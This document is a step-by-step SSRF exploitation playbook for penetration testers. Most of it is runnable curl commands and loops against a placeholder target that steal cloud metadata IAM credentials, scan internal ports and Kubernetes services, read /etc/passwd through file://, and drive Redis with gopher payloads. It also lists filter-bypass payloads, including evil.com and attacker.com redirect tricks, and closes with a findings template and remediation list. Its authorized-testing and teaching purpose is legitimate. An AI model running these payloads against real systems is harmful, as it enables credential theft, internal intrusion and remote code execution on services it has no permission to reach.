Exploiting Server-Side Request Forgery

When to Use

• During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
• When testing cloud-hosted applications for access to instance metadata services
• For assessing PDF generators, screenshot services, or any feature that renders external content
• When evaluating microservice architectures for internal service access via SSRF
• During security assessments of APIs that accept URL parameters for data fetching

Prerequisites

• Authorization: Written penetration testing agreement including SSRF testing scope
• Burp Suite Professional: With Collaborator for out-of-band detection
• interactsh: Open-source OOB interaction server (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
• SSRFmap: Automated SSRF exploitation framework (git clone https://github.com/swisskyrepo/SSRFmap.git)
• curl: For manual SSRF payload testing
• Knowledge of target infrastructure: Cloud provider (AWS, GCP, Azure), internal IP ranges

Workflow

Step 1: Identify SSRF-Prone Functionality

Map all application features that make server-side HTTP requests.

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

Step 2: Access Cloud Instance Metadata

Test SSRF payloads targeting cloud provider metadata services.

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

Step 3: Scan Internal Network via SSRF

Use the SSRF vulnerability to discover internal services and ports.

# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes internal services
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done

Step 4: Bypass SSRF Filters and Allowlists

When basic payloads are blocked, use bypass techniques.

# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # Octal
  "http://0x7f.0.0.1/"          # Hex
  "http://2130706433/"           # Decimal
  "http://127.1/"                # Short form
  "http://0/"                    # Zero
  "http://[::1]/"                # IPv6 loopback
  "http://0.0.0.0/"              # All interfaces
  "http://localtest.me/"         # DNS resolves to 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS rebinding
  "http://127.0.0.1.nip.io/"    # Wildcard DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL parsing bypass
# Embed credentials: http://expected.com@evil.com/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1

# Protocol bypass
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"

Step 5: Exploit SSRF for Impact Escalation

Chain SSRF with internal services for maximum impact.

# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only

# Access Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# Read data from Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# Access internal Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token

Step 6: Test Blind SSRF and DNS Rebinding

For cases where the response is not returned to the attacker.

# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
#    - First query: returns attacker IP (passes allowlist)
#    - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs

Key Concepts

Concept	Description
SSRF	Server-Side Request Forgery - making the server send requests to unintended destinations
Blind SSRF	SSRF where the response is not returned to the attacker, requiring OOB detection
Cloud Metadata	Instance metadata services (169.254.169.254) exposing credentials and configuration
Gopher Protocol	Protocol allowing raw TCP data transmission, enabling attacks on internal services
DNS Rebinding	DNS attack that switches IP resolution to bypass SSRF hostname allowlists
TOCTOU	Time-of-check to time-of-use race condition in URL validation
IMDSv2	AWS metadata service v2 requiring session tokens, mitigating basic SSRF
Open Redirect Chain	Using an open redirect to bypass URL allowlists in SSRF filters

Tools & Systems

Tool	Purpose
Burp Suite Professional	Request modification and Collaborator for blind SSRF detection
SSRFmap	Automated SSRF exploitation framework with protocol support
interactsh	Out-of-band interaction detection for blind SSRF
Gopherus	Generates gopher payloads for exploiting internal services
rbndr.us	DNS rebinding service for SSRF filter bypass
singularity	DNS rebinding attack framework for automated exploitation

Common Scenarios

Scenario 1: Webhook URL SSRF to AWS Credentials

A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.

Scenario 2: PDF Generator SSRF

A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.

Scenario 3: Image URL SSRF with Protocol Bypass

An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.

Scenario 4: Blind SSRF to Internal Redis

A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.

Output Format

## SSRF Vulnerability Finding

**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery

### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys

### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |

### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability

### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls